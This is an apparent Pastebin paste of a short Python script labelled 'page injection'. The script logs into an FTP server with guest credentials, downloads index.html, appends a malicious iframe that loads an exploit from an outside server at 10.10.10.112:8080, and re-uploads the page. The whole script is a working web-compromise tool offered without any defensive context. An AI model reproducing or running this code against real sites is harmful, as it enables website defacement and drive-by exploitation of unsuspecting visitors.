Advertisement
Guest User

v10l3n7 py = "p4g3 1nj3ct10n"

a guest
Jul 6th, 2017
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import ftplib
  5.  
  6.  
  7. def injectPage(ftp, page, redirect):
  8.     f = open(page + '.tmp', 'w')
  9.     ftp.retrlines('RETR ' + page, f.write)
  10.     print '[+] Downloaded Page: ' + page
  11.  
  12.     f.write(redirect)
  13.     f.close()
  14.     print '[+] Injected Malicious IFrame on: ' + page
  15.  
  16.     ftp.storlines('STOR ' + page, open(page + '.tmp'))
  17.     print '[+] Uploaded Injected Page: ' + page
  18.  
  19.  
  20. host = '192.168.95.179'
  21. userName = 'guest'
  22. passWord = 'guest'
  23. ftp = ftplib.FTP(host)
  24. ftp.login(userName, passWord)
  25. redirect = '<iframe src='+\
  26.   '"http:\\\\10.10.10.112:8080\\exploit"></iframe>'
  27. injectPage(ftp, 'index.html', redirect)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement